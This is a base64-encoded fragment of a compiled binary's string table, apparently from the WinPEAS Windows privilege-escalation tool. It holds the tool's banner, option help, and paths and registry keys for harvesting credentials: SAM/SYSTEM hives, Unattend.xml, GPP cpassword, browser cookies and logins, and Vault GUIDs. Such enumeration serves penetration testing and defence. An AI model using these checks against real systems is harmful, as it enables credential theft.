CMAIwAjACMAIwAjACMAIwAoAHsAMgB9ACoAKgAqACoAKgAqACoAKgAqAHsAMAB9AC4ALgAoACgAKAANAAoAIAAgACAAIAB7ADAAfQAuACgAewAxAH0AIwAjACMAIwAjACMAIwAoACwALgAqACoAKgAuACwAKAAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACgALgAuACoAKgAqAC4AewAyAH0AKgAqACoAKgAqACoAKgB7ADAAfQAuAC4AKAAoACgADQAKACAAIAAgACAAewAwAH0ALgAoAHsAMQB9ACMAIwAjACMAIwAjACMAKgAoACMAIwAjACMAIwAoACgAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAKAAoACMAIwAjACMAIwAjAC8AKAB7ADIAfQAqACoAKgAqACoAewAwAH0ALgAuACgAKAAoAA0ACgAgACAAIAAgAHsAMAB9AC4AKAB7ADEAfQAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACgALwAqACoAKgAqACoAKgAqACoAKgAqACoAKAAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAKAB7ADAAfQAuAC4ALgAoACgAKAANAAoAIAAgACAAIAB7ADAAfQAuACgAKAB7ADEAfQAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAvACoAKgAqACoAKgAqACoAKAAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjAHsAMAB9AC4AKAAoACgAKAAoACgADQAKACAAIAAgACAAewAwAH0ALgAoACgAKAB7ADEAfQAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAewAwAH0AKAAuAC4AKAAoACgAKAANAAoAIAAgACAAIAB7ADAAfQAuAC4AKAAoACgAewAxAH0AIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAewAwAH0AKAAuAC4AKAAoACgAKAAoAA0ACgAgACAAIAAgAHsAMAB9AC4ALgAuAC4AKAAoAHsAMQB9ACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAewAwAH0AKAAgAC4AKAAoACgAKAAoAA0ACgAgACAAIAAgAHsAMAB9AC4ALgAuAC4ALgAuACgAKAB7ADEAfQAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwB7ADAAfQAoACAALgAoACgAKAAoACgAKAANAAoAIAAgACAAIAB7ADAAfQAoACgAKAAoACgAKAAoACgAKAB7ADEAfQAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwB7ADAAfQAoAC4ALgAvACgAKAAoACgAKAAoAA0ACgAgACAAIAAgACAAIAAgACAAewAwAH0AKAAoACgAKAAoACgAKAAoACgALwB7ADEAfQAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAIwAjACMAewAwAH0AKAAvAC4ALgAoACgAKAAoACgAKAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsAMAB9ACgAKAAoACgAKAAoACgAKAAoAC8ALAAuACAAIAAsACoALwAvAC8ALwAvAC8AKgAsAC4AIAAuAC8AKAAoACgAKAAoACgAKAAoACgAKAAoACgAKAAoACgALgANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsAMAB9ACgAKAAoACgAKAAoACgAKAAoACgAKAAoACgAKAAoACgAKAAoACgAKAAoACgAKAAoACgAKAAoACgAKAAvAAAVQQBEAFYASQBTAE8AUgBZADoAIAAAFSAAIABXAGkAbgBQAEUAQQBTACAAAB8gAGIAeQAgAGMAYQByAGwAbwBzAHAAbwBsAG8AcAAAgJVoAHQAdABwAHMAOgAvAC8AYgBvAG8AawAuAGgAYQBjAGsAdAByAGkAYwBrAHMALgB4AHkAegAvAHcAaQBuAGQAbwB3AHMALwBjAGgAZQBjAGsAbABpAHMAdAAtAHcAaQBuAGQAbwB3AHMALQBwAHIAaQB2AGkAbABlAGcAZQAtAGUAcwBjAGEAbABhAHQAaQBvAG4AAV9ZAG8AdQAgAGMAYQBuACAAZgBpAG4AZAAgAGEAIABXAGkAbgBkAG8AdwBzACAAbABvAGMAYQBsACAAUABFACAAQwBoAGUAYwBrAGwAaQBzAHQAIABoAGUAcgBlADoAAA0gACAAWwArAF0AIAAAD0wAZQB5AGUAbgBkADoAABkgACAAIAAgACAAIAAgACAAIABSAGUAZAAAgLUgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAEkAbgBkAGkAYwBhAHQAZQBzACAAYQAgAHMAcABlAGMAaQBhAGwAIABwAHIAaQB2AGkAbABlAGcAZQAgAG8AdgBlAHIAIABhAG4AIABvAGIAagBlAGMAdAAgAG8AcgAgAHMAbwBtAGUAdABoAGkAbgBnACAAaQBzACAAbQBpAHMAYwBvAG4AZgBpAGcAdQByAGUAZAAAHSAAIAAgACAAIAAgACAAIAAgAEcAcgBlAGUAbgAAgK8gACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAASQBuAGQAaQBjAGEAdABlAHMAIAB0AGgAYQB0ACAAcwBvAG0AZQAgAHAAcgBvAHQAZQBjAHQAaQBvAG4AIABpAHMAIABlAG4AYQBiAGwAZQBkACAAbwByACAAcwBvAG0AZQB0AGgAaQBuAGcAIABpAHMAIAB3AGUAbABsACAAYwBvAG4AZgBpAGcAdQByAGUAZAAAGyAAIAAgACAAIAAgACAAIAAgAEMAeQBhAG4AAEsgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABJAG4AZABpAGMAYQB0AGUAcwAgAGEAYwB0AGkAdgBlACAAdQBzAGUAcgBzAAAbIAAgACAAIAAgACAAIAAgACAAQgBsAHUAZQAATyAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAEkAbgBkAGkAYwBhAHQAZQBzACAAZABpAHMAYQBiAGwAZQBkACAAdQBzAGUAcgBzAAApIAAgACAAIAAgACAAIAAgACAATABpAGcAaAB0AFkAZQBsAGwAbwB3AAAvIAAgACAAIAAgACAAIAAgAEkAbgBkAGkAYwBhAHQAZQBzACAAbABpAG4AawBzAAANIAAgAFsAKgBdACAAAICdVwBpAG4AUABFAEEAUwAgAGkAcwAgAGEAIABiAGkAbgBhAHIAeQAgAHQAbwAgAGUAbgB1AG0AZQByAGEAdABlACAAcABvAHMAcwBpAGIAbABlACAAcABhAHQAaABzACAAdABvACAAZQBzAGMAYQBsAGEAdABlACAAcAByAGkAdgBpAGwAZQBnAGUAcwAgAGwAbwBjAGEAbABsAHkAABsgACAAIAAgACAAIAAgACAAcQB1AGkAZQB0AABBIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABEAG8AIABuAG8AdAAgAHAAcgBpAG4AdAAgAGIAYQBuAG4AZQByAAAlIAAgACAAIAAgACAAIAAgAHMAZQBhAHIAYwBoAGYAYQBzAHQAAICVIAAgACAAIAAgACAAIAAgAEEAdgBvAGkAZAAgAHMAbABlAGUAcABpAG4AZwAgAHcAaABpAGwAZQAgAHMAZQBhAHIAYwBoAGkAbgBnACAAZgBpAGwAZQBzACAAKABuAG8AdABhAGIAbABlACAAYQBtAG8AdQBuAHQAIABvAGYAIAByAGUAcwBvAHUAcgBjAGUAcwApAAAjIAAgACAAIAAgACAAIAAgAHMAZQBhAHIAYwBoAGEAbABsAACAqSAAIAAgACAAIAAgACAAIAAgAFMAZQBhAHIAYwBoACAAYQBsAGwAIABrAG4AbwB3AG4AIABmAGkAbABlAG4AYQBtAGUAcwAgAHcAaABpAHQAaAAgAHAAbwBzAHMAaQBiAGwAZQAgAGMAcgBlAGQAZQBuAHQAaQBhAGwAcwAgACgAYwBvAHUAbAAgAHQAYQBrAGUAIABzAG8AbQBlACAAbQBpAG4AcwApAAAXIAAgACAAIAAgACAAIAAgAGMAbQBkAACAsyAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAE8AYgB0AGEAaQBuACAAdwBpAGYAaQAsACAAYwByAGUAZAAgAG0AYQBuAGEAZwBlAHIAIABhAG4AZAAgAGMAbABpAHAAYgBvAGEAcgBkACAAaQBuAGYAbwByAG0AYQB0AGkAbwBuACAAZQB4AGUAYwB1AHQAaQBuAGcAIABDAE0ARAAgAGMAbwBtAG0AYQBuAGQAcwAAHyAAIAAgACAAIAAgACAAIABuAG8AdABhAG4AcwBpAABZIAAgACAAIAAgACAAIAAgACAAIAAgAEQAbwBuACcAdAAgAHUAcwBlACAAYQBuAHMAaQAgAGMAbwBsAG8AcgBzACAAKABhAGwAbAAgAHcAaABpAHQAZQApAAElIAAgACAAIAAgACAAIAAgAHMAeQBzAHQAZQBtAGkAbgBmAG8AAEMgACAAIAAgACAAIAAgACAAUwBlAGEAcgBjAGgAIABzAHkAcwB0AGUAbQAgAGkAbgBmAG8AcgBtAGEAdABpAG8AbgAAISAAIAAgACAAIAAgACAAIAB1AHMAZQByAGkAbgBmAG8AAEMgACAAIAAgACAAIAAgACAAIAAgAFMAZQBhAHIAYwBoACAAdQBzAGUAcgAgAGkAbgBmAG8AcgBtAGEAdABpAG8AbgAAJSAAIAAgACAAIAAgACAAIABwAHIAbwBjAGUAcwBpAG4AZgBvAABJIAAgACAAIAAgACAAIAAgAFMAZQBhAHIAYwBoACAAcAByAG8AYwBlAHMAcwBlAHMAIABpAG4AZgBvAHIAbQBhAHQAaQBvAG4AACkgACAAIAAgACAAIAAgACAAcwBlAHIAdgBpAGMAZQBzAGkAbgBmAG8AAEMgACAAIAAgACAAIABTAGUAYQByAGMAaAAgAHMAZQByAHYAaQBjAGUAcwAgAGkAbgBmAG8AcgBtAGEAdABpAG8AbgAAMSAAIAAgACAAIAAgACAAIABhAHAAcABsAGkAYwBhAHQAaQBvAG4AcwBpAG4AZgBvAABXIAAgAFMAZQBhAHIAYwBoACAAaQBuAHMAdABhAGwAbABlAGQAIABhAHAAcABsAGkAYwBhAHQAaQBvAG4AcwAgAGkAbgBmAG8AcgBtAGEAdABpAG8AbgAAJyAAIAAgACAAIAAgACAAIABuAGUAdAB3AG8AcgBrAGkAbgBmAG8AAEMgACAAIAAgACAAIAAgAFMAZQBhAHIAYwBoACAAbgBlAHQAdwBvAHIAawAgAGkAbgBmAG8AcgBtAGEAdABpAG8AbgAAKSAAIAAgACAAIAAgACAAIAB3AGkAbgBkAG8AdwBzAGMAcgBlAGQAcwAAQSAAIAAgACAAIAAgAFMAZQBhAHIAYwBoACAAdwBpAG4AZABvAHcAcwAgAGMAcgBlAGQAZQBuAHQAaQBhAGwAcwAAJyAAIAAgACAAIAAgACAAIABiAHIAbwB3AHMAZQByAGkAbgBmAG8AAEMgACAAIAAgACAAIAAgAFMAZQBhAHIAYwBoACAAYgByAG8AdwBzAGUAcgAgAGkAbgBmAG8AcgBtAGEAdABpAG8AbgAAIyAAIAAgACAAIAAgACAAIABmAGkAbABlAHMAaQBuAGYAbwAAZyAAIAAgACAAIAAgACAAIAAgAFMAZQBhAHIAYwBoACAAZgBpAGwAZQBzACAAdABoAGEAdAAgAGMAYQBuACAAYwBvAG4AdABhAGkAbgBzACAAYwByAGUAZABlAG4AdABpAGEAbABzAAAZIAAgACAAIAAgACAAIAAgAFsAKwBdACAAAG1CAHkAIABkAGUAZgBhAHUAbAB0ACAAYQBsAGwAIABjAGgAZQBjAGsAcwAgACgAZQB4AGMAZQBwAHQAIABDAE0ARAAgAGMAaABlAGMAawBzACkAIABhAHIAZQAgAGUAeABlAGMAdQB0AGUAZAAABSAAIAAAAygAAAMpAAAPIAAgACAAWwA/AF0AIAAAAyAAABEgACAAIAAgAFsAaQBdACAAABsgACAAIAAgAE4AbwB0ACAARgBvAHUAbgBkAACAySAAIAAgAD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0AAAkgACAAIAAgAAAFOgAgAAAPGwBbADEAOwAzADcAbQABDxsAWwAxADsAOQAwAG0AAQ8bAFsAMQA7ADMAMQBtAAEPGwBbADEAOwAzADIAbQABCxsAWwAzADMAbQABDxsAWwAxADsAMwAzAG0AAQsbAFsAMwA0AG0AAQ8bAFsAMQA7ADMANABtAAEPGwBbADEAOgAzADUAbQABCxsAWwAzADYAbQABDxsAWwAxADsAMwA2AG0AAQkbAFsAMABtAAENdwBpAG4AZABpAHIAAC97ADAAfQBcAHMAeQBzAHAAcgBlAHAAXABzAHkAcwBwAHIAZQBwAC4AeABtAGwAAC97ADAAfQBcAHMAeQBzAHAAcgBlAHAAXABzAHkAcwBwAHIAZQBwAC4AaQBuAGYAAB97ADAAfQBcAHMAeQBzAHAAcgBlAHAALgBpAG4AZgAANXsAMAB9AFwAUABhAG4AdABoAGUAcgBcAFUAbgBhAHQAdABlAG4AZABlAGQALgB4AG0AbAAAMXsAMAB9AFwAUABhAG4AdABoAGUAcgBcAFUAbgBhAHQAdABlAG4AZAAuAHgAbQBsAABDewAwAH0AXABQAGEAbgB0AGgAZQByAFwAVQBuAGEAdAB0AGUAbgBkAFwAVQBuAGEAdAB0AGUAbgBkAC4AeABtAGwAAEd7ADAAfQBcAFAAYQBuAHQAaABlAHIAXABVAG4AYQB0AHQAZQBuAGQAXABVAG4AYQB0AHQAZQBuAGQAZQBkAC4AeABtAGwAAEN7ADAAfQBcAFMAeQBzAHQAZQBtADMAMgBcAFMAeQBzAHAAcgBlAHAAXAB1AG4AYQB0AHQAZQBuAGQALgB4AG0AbAAAU3sAMAB9AFwAUwB5AHMAdABlAG0AMwAyAFwAUwB5AHMAcAByAGUAcABcAFAAYQBuAHQAaABlAHIAXAB1AG4AYQB0AHQAZQBuAGQALgB4AG0AbAAAJ3sAMAB9AFwALgAuAFwAdQBuAGEAdAB0AGUAbgBkAC4AeABtAGwAACd7ADAAfQBcAC4ALgBcAHUAbgBhAHQAdABlAG4AZAAuAGkAbgBmAAApIAAgAFsAWABdACAARQB4AGMAZQBwAHQAaQBvAG4AOgAgAHsAMAB9AAADCgAAAw0AAC88AFAAYQBzAHMAdwBvAHIAZAA+AC4AKgA8AC8AUABhAHMAcwB3AG8AcgBkAD4AABVTAHkAcwB0AGUAbQBSAG8AbwB0AAAdewAwAH0AXAByAGUAcABhAGkAcgBcAFMAQQBNAAA/ewAwAH0AXABTAHkAcwB0AGUAbQAzADIAXABjAG8AbgBmAGkAZwBcAFIAZQBnAEIAYQBjAGsAXABTAEEATQAAI3sAMAB9AFwAcgBlAHAAYQBpAHIAXABTAFkAUwBUAEUATQAARXsAMAB9AFwAUwB5AHMAdABlAG0AMwAyAFwAYwBvAG4AZgBpAGcAXABSAGUAZwBCAGEAYwBrAFwAUwBZAFMAVABFAE0AABdTAHkAcwB0AGUAbQBEAHIAaQB2AGUAACV7ADAAfQBcAFAAcgBvAGcAcgBhAG0AIABGAGkAbABlAHMAXAAAMXsAMAB9AFwAUAByAG8AZwByAGEAbQAgAEYAaQBsAGUAcwAgACgAeAA4ADYAKQBcAAA3ewAwAH0AXABEAG8AYwB1AG0AZQBuAHQAcwAgAGEAbgBkACAAUwBlAHQAdABpAG4AZwBzAFwAABV7ADAAfQBcAFUAcwBlAHIAcwBcAAAZUwBpAHQAZQBMAGkAcwB0AC4AeABtAGwAAB9BAEwATABVAFMARQBSAFMAUABSAE8ARgBJAEwARQAAF1AAcgBvAGcAcgBhAG0ARABhAHQAYQAAI1wAQQBwAHAAbABpAGMAYQB0AGkAbwBuACAARABhAHQAYQAAP1wATQBpAGMAcgBvAHMAbwBmAHQAXABHAHIAbwB1AHAAIABQAG8AbABpAGMAeQBcAEgAaQBzAHQAbwByAHkAAAsqAC4AeABtAGwAABVHAHIAbwB1AHAAcwAuAHgAbQBsAAAZUwBlAHIAdgBpAGMAZQBzAC4AeABtAGwAACVTAGMAaABlAGQAdQBsAGUAZAB0AGEAcwBrAHMALgB4AG0AbAAAH0QAYQB0AGEAUwBvAHUAcgBjAGUAcwAuAHgAbQBsAAAZUAByAGkAbgB0AGUAcgBzAC4AeABtAGwAABVEAHIAaQB2AGUAcwAuAHgAbQBsAAATYwBwAGEAcwBzAHcAbwByAGQAAAsNAAoAewAwAH0AAC8vAEcAcgBvAHUAcABzAC8AVQBzAGUAcgAvAFAAcgBvAHAAZQByAHQAaQBlAHMAABkvAEcAcgBvAHUAcABzAC8AVQBzAGUAcgAAEXUAcwBlAHIATgBhAG0AZQAAD24AZQB3AE4AYQBtAGUAAA9jAGgAYQBuAGcAZQBkAABBLwBOAFQAUwBlAHIAdgBpAGMAZQBzAC8ATgBUAFMAZQByAHYAaQBjAGUALwBQAHIAbwBwAGUAcgB0AGkAZQBzAAArLwBOAFQAUwBlAHIAdgBpAGMAZQBzAC8ATgBUAFMAZQByAHYAaQBjAGUAABdhAGMAYwBvAHUAbgB0AE4AYQBtAGUAAD8vAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAcwAvAFQAYQBzAGsALwBQAHIAbwBwAGUAcgB0AGkAZQBzAAApLwBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAHMALwBUAGEAcwBrAAALcgB1AG4AQQBzAABFLwBEAGEAdABhAFMAbwB1AHIAYwBlAHMALwBEAGEAdABhAFMAbwB1AHIAYwBlAC8AUAByAG8AcABlAHIAdABpAGUAcwAALy8ARABhAHQAYQBTAG8AdQByAGMAZQBzAC8ARABhAHQAYQBTAG8AdQByAGMAZQAAEXUAcwBlAHIAbgBhAG0AZQAARS8AUAByAGkAbgB0AGUAcgBzAC8AUwBoAGEAcgBlAGQAUAByAGkAbgB0AGUAcgAvAFAAcgBvAHAAZQByAHQAaQBlAHMAAC8vAFAAcgBpAG4AdABlAHIAcwAvAFMAaABhAHIAZQBkAFAAcgBpAG4AdABlAHIAADEvAEQAcgBpAHYAZQBzAC8ARAByAGkAdgBlAC8AUAByAG8AcABlAHIAdABpAGUAcwAAGy8ARAByAGkAdgBlAHMALwBEAHIAaQB2AGUAAA9bAEIATABBAE4ASwBdAAARVQBzAGUAcgBOAGEAbQBlAAAPTgBlAHcATgBhAG0AZQAAE2MAUABhAHMAcwB3AG8AcgBkAAAPQwBoAGEAbgBnAGUAZAAAXSoAZABpAGEAZwByAGEAbQAqADsAKgAuAHAAZABmADsAKgAuAHYAcwBkADsAKgAuAGQAbwBjADsAKgBkAG8AYwB4ADsAKgAuAHgAbABzADsAKgAuAHgAbABzAHgAABdVAFMARQBSAFAAUgBPAEYASQBMAEUAAEkxADMANwAwADkANgAyADAALQBDADIANwA5AC0AMQAxAEMARQAtAEEANAA5AEUALQA0ADQANAA1ADUAMwA1ADQAMAAwADAAMAABE04AYQBtAGUAcwBwAGEAYwBlAAALSQB0AGUAbQBzAAALQwBvAHUAbgB0AAAJSQB0AGUAbQAAIUUAeAB0AGUAbgBkAGUAZABQAHIAbwBwAGUAcgB0AHkAADVTAHkAcwB0AGUAbQAuAFIAZQBjAHkAYwBsAGUALgBEAGEAdABlAEQAZQBsAGUAdABlAGQAAAlQAGEAdABoAAAJUwBpAHoAZQAANVMAeQBzAHQAZQBtAC4AUgBlAGMAeQBjAGwAZQAuAEQAZQBsAGUAdABlAGQARgByAG8AbQAAGUQAZQBsAGUAdABlAGQAIABmAHIAbwBtAAAZRABhAHQAZQAgAEQAZQBsAGUAdABlAGQAAA1QAHUAYgBsAGkAYwAAD0QAZQBmAGEAdQBsAHQAABlEAGUAZgBhAHUAbAB0ACAAVQBzAGUAcgAAE0EAbABsACAAVQBzAGUAcgBzAABbewAwAH0AXABBAHAAcABEAGEAdABhAFwAUgBvAGEAbQBpAG4AZwBcAE0AbwB6AGkAbABsAGEAXABGAGkAcgBlAGYAbwB4AFwAUAByAG8AZgBpAGwAZQBzAFwAAA97ADAAfQBcAHsAMQB9AAAPawBlAHkAMwAuAGQAYgAAD2sAZQB5ADQALgBkAGIAABFVAFMARQBSAE4AQQBNAEUAABtwAGwAYQBjAGUAcwAuAHMAcQBsAGkAdABlAACAsSgAaAB0AHQAcAB8AGYAdABwAHwAaAB0AHQAcABzAHwAZgBpAGwAZQApADoALwAvACgAWwBcAHcAXwAtAF0AKwAoAD8AOgAoAD8AOgBcAC4AWwBcAHcAXwAtAF0AKwApACsAKQApACgAWwBcAHcALgAsAEAAPwBeAD0AJQAmADoALwB+ACsAIwAtAF0AKgBbAFwAdwBAAD8AXgA9ACUAJgAvAH4AKwAjAC0AXQApAD8AAYC1DQAKACAAIAAgACAAWwB4AF0AIABJAE8AIABlAHgAYwBlAHAAdABpAG8AbgAsACAAcABsAGEAYwBlAHMALgBzAHEAbABpAHQAZQAgAGYAaQBsAGUAIABsAGkAawBlAGwAeQAgAGkAbgAgAHUAcwBlACAAKABpAC4AZQAuACAARgBpAHIAZQBmAG8AeAAgAGkAcwAgAGwAaQBrAGUAbAB5ACAAcgB1AG4AbgBpAG4AZwApAC4AAHN7ADAAfQBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABHAG8AbwBnAGwAZQBcAEMAaAByAG8AbQBlAFwAVQBzAGUAcgAgAEQAYQB0AGEAXABEAGUAZgBhAHUAbAB0AFwAQwBvAG8AawBpAGUAcwAAK3UAcwBlAHIAQwBoAHIAbwBtAGUAQwBvAG8AawBpAGUAcwBQAGEAdABoAAB5ewAwAH0AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwARwBvAG8AZwBsAGUAXABDAGgAcgBvAG0AZQBcAFUAcwBlAHIAIABEAGEAdABhAFwARABlAGYAYQB1AGwAdABcAEwAbwBnAGkAbgAgAEQAYQB0AGEAAC91AHMAZQByAEMAaAByAG8AbQBlAEwAbwBnAGkAbgBEAGEAdABhAFAAYQB0AGgAAICrDQAKACAAIAAgACAAWwB4AF0AIABJAE8AIABlAHgAYwBlAHAAdABpAG8AbgAsACAAaABpAHMAdABvAHIAeQAgAGYAaQBsAGUAIABsAGkAawBlAGwAeQAgAGkAbgAgAHUAcwBlACAAKABpAC4AZQAuACAAQgByAG8AdwBzAGUAcgAgAGkAcwAgAGwAaQBrAGUAbAB5ACAAcgB1AG4AbgBpAG4AZwApADoAIAAAC3IAbwBvAHQAcwAAGWIAbwBvAGsAbQBhAHIAawBfAGIAYQByAAARYwBoAGkAbABkAHIAZQBuAAAHdQByAGwAAICrDQAKACAAIAAgACAAWwB4AF0AIABJAE8AIABlAHgAYwBlAHAAdABpAG8AbgAsACAAQgBvAG8AawBtAGEAcgBrAHMAIABmAGkAbABlACAAbABpAGsAZQBsAHkAIABpAG4AIAB1AHMAZQAgACgAaQAuAGUALgAgAEMAaAByAG8AbQBlACAAaQBzACAAbABpAGsAZQBsAHkAIAByAHUAbgBuAGkAbgBnACkALgAAD2gAaQBzAHQAbwByAHkAABFiAG8AbwBrAGEAcgBrAHMAAD0NAAoADQAKAD0APQA9ACAAQwBoAHIAbwBtAGUAIAAoAEEAbABsACAAVQBzAGUAcgBzACkAIAA9AD0APQAAc3sAMAB9AFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAEcAbwBvAGcAbABlAFwAQwBoAHIAbwBtAGUAXABVAHMAZQByACAARABhAHQAYQBcAEQAZQBmAGEAdQBsAHQAXABIAGkAcwB0AG8AcgB5AAB3ewAwAH0AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwARwBvAG8AZwBsAGUAXABDAGgAcgBvAG0AZQBcAFUAcwBlAHIAIABEAGEAdABhAFwARABlAGYAYQB1AGwAdABcAEIAbwBvAGsAbQBhAHIAawBzAAATYgBvAG8AawBtAGEAcgBrAHMAABNmAGEAdgBvAHIAaQB0AGUAcwAAC1MALQAxAC0ANQABEV8AQwBsAGEAcwBzAGUAcwAAB0gASwBVAABlewAwAH0AXABTAE8ARgBUAFcAQQBSAEUAXABNAGkAYwByAG8AcwBvAGYAdABcAEkAbgB0AGUAcgBuAGUAdAAgAEUAeABwAGwAbwByAGUAcgBcAFQAeQBwAGUAZABVAFIATABzAABtewAwAH0AXABTAE8ARgBUAFcAQQBSAEUAXABNAGkAYwByAG8AcwBvAGYAdABcAEkAbgB0AGUAcgBuAGUAdAAgAEUAeABwAGwAbwByAGUAcgBcAFQAeQBwAGUAZABVAFIATABzAFQAaQBtAGUAAB17ADAAfQBcAEYAYQB2AG8AcgBpAHQAZQBzAFwAAAsqAC4AdQByAGwAAAlVAFIATAA9AAAJSABLAEMAVQAAXVMATwBGAFQAVwBBAFIARQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwASQBuAHQAZQByAG4AZQB0ACAARQB4AHAAbABvAHIAZQByAFwAVAB5AHAAZQBkAFUAUgBMAHMAAGVTAE8ARgBUAFcAQQBSAEUAXABNAGkAYwByAG8AcwBvAGYAdABcAEkAbgB0AGUAcgBuAGUAdAAgAEUAeABwAGwAbwByAGUAcgBcAFQAeQBwAGUAZABVAFIATABzAFQAaQBtAGUAAA9XAGkAbgBkAG8AdwBzAAAZTABvAGMAYQB0AGkAbwBuAE4AYQBtAGUAABdMAG8AYwBhAHQAaQBvAG4AVQByAGwAADEoAF4AaAB0AHQAcABzAD8AOgAvAC8ALgArACkAfAAoAF4AZgB0AHAAOgAvAC8AKQAACVQAeQBwAGUAAF8gACAAWwBFAFIAUgBPAFIAXQAgAFUAbgBhAGIAbABlACAAdABvACAAZQBuAHUAbQBlAHIAYQB0AGUAIAB2AGEAdQBsAHQAcwAuACAARQByAHIAbwByACAAKAAwAHgAAEkyAEYAMQBBADYANQAwADQALQAwADYANAAxAC0ANAA0AEMARgAtADgAQgBCADUALQAzADYAMQAyAEQAOAA2ADUARgAyAEUANQABJ1cAaQBuAGQAbwB3AHMAIABTAGUAYwB1AHIAZQAgAE4AbwB0AGUAAEkzAEMAQwBEADUANAA5ADkALQA4ADcAQQA4AC0ANABCADEAMAAtAEEAMgAxADUALQA2ADAAOAA4ADgAOABEAEQAMwBCADUANQABP1cAaQBuAGQAbwB3AHMAIABXAGUAYgAgAFAAYQBzAHMAdwBvAHIAZAAgAEMAcgBlAGQAZQBuAHQAaQBhAGwAAEkxADUANABFADIAMwBEADAALQBDADYANAA0AC0ANABFADYARgAtADgAQwBFADYALQA1ADAANgA5ADIANwAyAEYAOQA5ADkARgABR1cAaQBuAGQAbwB3AHMAIABDAHIAZQBkAGUAbgB0AGkAYQBsACAAUABpAGMAawBlAHIAIABQAHIAbwB0AGUAYwB0AG8AcgAASTQAQgBGADQAQwA0ADQAMgAtADkAQgA4AEEALQA0ADEAQQAwAC0AQgAzADgAMAAtAEQARAA0AEEANwAwADQARABEAEIAMgA4AAEfVwBlAGIAIABDAHIAZQBkAGUAbgB0AGkAYQBsAHMAAEk3ADcAQgBDADUAOAAyAEIALQBGADAAQQA2AC0ANABFADEANQAtADQARQA4ADAALQA2ADEANwAzADYAQgA2AEYAMwBCADIAOQABJ1cAaQBuAGQAbwB3AHMAIABDAHIAZQBkAGUAbgB0AGkAYQBsAHMAAElFADYAOQBEADcAOAAzADgALQA5ADEAQgA1AC0ANABGAEMAOQAtADgAOQBEADUALQAyADMAMABEADQARAA0AEMAQwAyAEIAQwABS1cAaQBuAGQAbwB3AHMAIABEAG8AbQBhAGkAbgAgAEMAZQByAHQAaQBmAGkAYwBhAHQAZQAgAEMAcgBlAGQAZQBuAHQAaQBhAGwAAEkzAEUAMABFADMANQBCAEUALQAxAEIANwA3AC0ANAAzAEUANwAtAEIAOAA3ADMALQBBAEUARAA5ADAAMQBCADYAMgA3ADUAQgABRVcAaQBuAGQAbwB3AHMAIABEAG8AbQBhAGkAbgAgAFAAYQBzAHMAdwBvAHIAZAAgAEMAcgBlAGQAZQBuAHQAaQBhAGwAAEkzAEMAOAA4ADYARgBGADMALQAyADYANgA5AC0ANABBAEEAMgAtAEEAOABGAEIALQAzAEYANgA3ADUAOQBBADcANwA1ADQAOAABN1cAaQBuAGQAbwB3AHMAIABFAHgAdABlAG4AZABlAGQAIABDAHIAZQBkAGUAbgB0AGkAYQBsAABJMAAwADAAMAAwADAAMAAwAC0AMAAwADAAMAAtADAAMAAwADAALQAwADAAMAAwAC0AMAAwADAAMAAwADAAMAAwADAAMAAwADAAAUlVAG4AYQBiAGwAZQAgAHQAbwAgAG8AcABlAG4AIAB0AGgAZQAgAGYAbwBsAGwAbwB3AGkAbgBnACAAdgBhAHUAbAB0ADoAIAAAFy4AIABFAHIAcgBvAHIAOgAgADAAeAAAdVUAbgBhAGIAbABlACAAdABvACAAZQBuAHUAbQBlAHIAYQB0AGUAIAB2AGEAdQBsAHQAIABpAHQAZQBtAHMAIABmAHIAbwBtACAAdABoAGUAIABmAG8AbABsAG8AdwBpAG4AZwAgAHYAYQB1AGwAdAA6ACAAABUuACAARQByAHIAbwByACAAMAB4AAAJRwBVAEkARAAAEVIAZQBzAG8AdQByAGMAZQAAEUkAZABlAG4AdABpAHQAeQAAFVAAYQBjAGEAawBnAGUAUwBpAGQAABVDAHIAZQBkAGUAbgB0AGkAYQBsAAAbTABhAHMAdAAgAE0AbwBkAGkAZgBpAGUAZAAAC0UAcg